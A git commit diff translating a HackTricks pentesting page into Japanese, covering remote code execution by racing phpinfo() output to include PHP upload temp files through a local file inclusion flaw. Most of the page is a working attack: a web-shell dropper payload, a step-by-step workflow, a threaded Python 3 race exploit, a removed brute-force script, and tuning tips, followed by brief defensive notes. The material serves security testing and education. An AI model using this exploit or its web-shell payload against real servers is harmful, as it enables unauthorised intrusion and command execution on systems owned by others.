Translated ['src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md']

This commit is contained in:
Translator 2025-09-30 00:52:08 +00:00
parent 6305c2c6b6
commit aa1a1a86c1

View File

@ -1,55 +1,160 @@
# LFI to RCE via PHPInfo
{{#include ../../banners/hacktricks-training.md}}
この脆弱性を悪用するには、次のものが必要です: **LFI脆弱性、phpinfo()が表示されるページ、"file_uploads = on"、およびサーバーが"/tmp"ディレクトリに書き込むことができること。**
この手法を悪用するには、以下すべてが必要です:
- phpinfo() の出力を表示する到達可能なページ。
- あなたが制御できる Local File Inclusion (LFI) プリミティブ(例: include/require がユーザ入力に基づくもの)。
- PHP file uploads が有効であること (file_uploads = On)。任意の PHP スクリプトは RFC1867 マルチパートアップロードを受け付け、アップロードされた各パートごとに一時ファイルを作成します。
- PHP ワーカーが設定された upload_tmp_dirまたはデフォルトのシステム一時ディレクトリに書き込み可能であり、かつあなたの LFI がそのパスを include できること。
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
代表的な解説とオリジナルPoC:
- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
- Original PoC script name: phpinfolfi.py (see whitepaper and mirrors)
**チュートリアル HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
エクスプロイトを修正する必要があります(**=>**を**=>**に変更)。そのためには、次のようにできます:
オリジナルPoCに関する注意点
- phpinfo() の出力は HTML エンコードされるため、"=>" の矢印はしばしば "=>" と表示されます。レガシースクリプトを再利用する場合、_FILES[tmp_name] の値を解析する際に両方のエンコーディングを検索するようにしてください。
- payloadあなたの PHP コード、REQ1パディングを含む phpinfo() エンドポイントへのリクエスト)、および LFIREQあなたの LFI シンクへのリクエスト)を適切に調整する必要があります。ターゲットによっては null-byte (%00) 終端が不要なものもあり、最新の PHP バージョンはこれを無視する場合があります。脆弱なシンクに合わせて LFIREQ を調整してください。
HTML エンコードされた矢印にマッチさせるための例(古い Python2 PoC を本当に使う場合のみ):
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py
```
あなたは、エクスプロイトの最初にある**payload**も変更する必要があります例えば、php-rev-shell用、**REQ1**これはphpinfoページを指し、パディングが含まれている必要があります、すなわち_REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_)、および**LFIREQ**これはLFI脆弱性を指す必要があります、すなわち_LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ null charを悪用する際のダブル"%"に注意してください)
{{#file}}
LFI-With-PHPInfo-Assistance.pdf
{{#endfile}}
### 理論
## 理論
PHPでアップロードが許可されている場合、ファイルをアップロードしようとすると、このファイルはサーバーがリクエストの処理を完了するまで一時ディレクトリに保存され、その後この一時ファイルは削除されます。
- PHPがファイルフィールドを含むmultipart/form-dataのPOSTを受け取ると、内容を一時ファイルupload_tmp_dir または OSのデフォルトに書き込み、そのパスを$_FILES['<field>']['tmp_name']で公開します。ファイルは移動/リネームされない限り、リクエスト終了時に自動的に削除されます。
- トリックは、一時ファイル名を把握して、PHPがそれを削除する前にLFI経由でそのファイルをincludeすることです。phpinfo()は$_FILEStmp_nameを含むを出力します。
- リクエストヘッダ/パラメータを膨らませるpaddingことで、リクエスト終了前にphpinfo()の出力の初期チャンクをクライアントにフラッシュさせることができます。これにより、一時ファイルがまだ存在する間にtmp_nameを読み取り、そのパスで直ちにLFIを叩けます。
次に、ウェブサーバーにLFI脆弱性が見つかった場合、一時ファイルの名前を推測し、そのファイルにアクセスしてRCEを悪用することができます。
Windowsでは一時ファイルは通常 C:\\Windows\\Temp\\php*.tmp のような場所にあります。Linux/Unixでは通常 /tmp または upload_tmp_dirで設定されたディレクトリにあります。
**Windows**では、ファイルは通常**C:\Windows\temp\php**に保存されます。
## 攻撃ワークフロー(ステップバイステップ)
**Linux**では、ファイルの名前は**ランダム**で、**/tmp**にあります。名前がランダムであるため、一時ファイルの名前を**どこかから抽出する必要があり**、削除される前にアクセスする必要があります。これは、関数"**phpconfig()**"の内容内で**変数$\_FILES**の値を読み取ることで行うことができます。
**phpinfo()**
**PHP**は**4096B**のバッファを使用し、**満杯**になると、**クライアントに送信**されます。次に、クライアントは**大きなリクエストをたくさん送信**(大きなヘッダーを使用)し、**php**リバース**シェルをアップロード**し、**phpinfo()の最初の部分が返されるのを待ち**一時ファイルの名前が含まれている場所、LFI脆弱性を悪用してphpサーバーがファイルを削除する前に**一時ファイルにアクセス**しようとします。
**名前をブルートフォースするためのPythonスクリプト長さ=6の場合**
```python
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
1) レースに負けないよう、素早くshellを永続化する小さなPHP payloadを用意しますファイルを書き込むほうが通常、reverse shellを待つよりも速いです
```
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
```
2) 大きな multipart POST を phpinfo() ページに直接送信して、ペイロードを含む一時ファイルを作成させる。早期出力を促すために各種 headers/cookies/params に約510KB のパディングを詰める。フォームフィールド名が $_FILES で解析する名前と一致していることを確認する。
3) phpinfo() のレスポンスがまだストリーミング中に、部分的なボディを解析して $_FILES['<field>']['tmp_name']HTML-encodedを抽出する。完全な絶対パス例: /tmp/php3Fz9aBを取得したらすぐに LFI を発動してそのパスを include する。include() が一時ファイルを削除する前に実行されれば、ペイロードが実行され /tmp/.p.php をドロップする。
4) ドロップされたファイルを使う: GET /vuln.php?include=/tmp/.p.php&x=idまたは LFI でそのファイルを include できる任意の場所)でコマンドを確実に実行する。
> ヒント
> - レースに勝つ確率を上げるために、複数の並列ワーカーを使う。
> - 効果があることの多いパディング配置: URL parameter, Cookie, User-Agent, Accept-Language, Pragma。ターゲットごとに調整する。
> - 脆弱な sink が拡張子を付加する(例: .php場合、null バイトは不要。include() は一時ファイルの拡張子に関係なく PHP を実行する。
## Minimal Python 3 PoC (socket-based)
以下のスニペットは重要部分に絞っており、旧来の Python2 スクリプトより適応しやすい。HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), および PAYLOAD をカスタマイズする。
```python
#!/usr/bin/env python3
import re, html, socket, threading
HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path
THREADS = 10
PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")
REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")
pat = re.compile(r"\\[tmp_name\\]\\s*=&gt;\\s*([^\\s<]+)")
def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok
if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]
```
## トラブルシューティング
- You never see tmp_name: phpinfo() に対して本当に POST multipart/form-data で送信していることを確認してください。phpinfo() はアップロード用フィールドが存在した場合にのみ $_FILES を出力します。
- Output doesnt flush early: パディングを増やす、大きめのヘッダを追加する、または複数の同時リクエストを送信してください。Some SAPIs/buffers はより大きな閾値になるまでフラッシュしないことがあるので調整してください。
- LFI path blocked by open_basedir or chroot: LFI を許可されたパスに向けるか、別の LFI2RCE ベクタに切り替えてください。
- Temp directory not /tmp: phpinfo() は tmp_name の完全な絶対パスを出力します;その正確なパスを LFI に使用してください。
## 防御上の注意
- 本番環境で phpinfo() を公開しないでください。必要な場合は IP/認証で制限し、使用後は削除してください。
- 不要であれば file_uploads を無効にしておいてください。そうでない場合は upload_tmp_dir をアプリケーションの include() から到達できないパスに制限し、include/require パスに対して厳格なバリデーションを実施してください。
- いかなる LFI も重大な脆弱性として扱ってください。phpinfo() がなくても他の LFI→RCE 経路は存在します。
## 関連 HackTricks テクニック
{{#ref}}
lfi2rce-via-temp-file-uploads.md
{{#endref}}
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
{{#ref}}
lfi2rce-via-nginx-temp-files.md
{{#endref}}
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
## 参考
- LFI With PHPInfo() Assistance whitepaper (2011) Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
- PHP マニュアル POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
{{#include ../../banners/hacktricks-training.md}}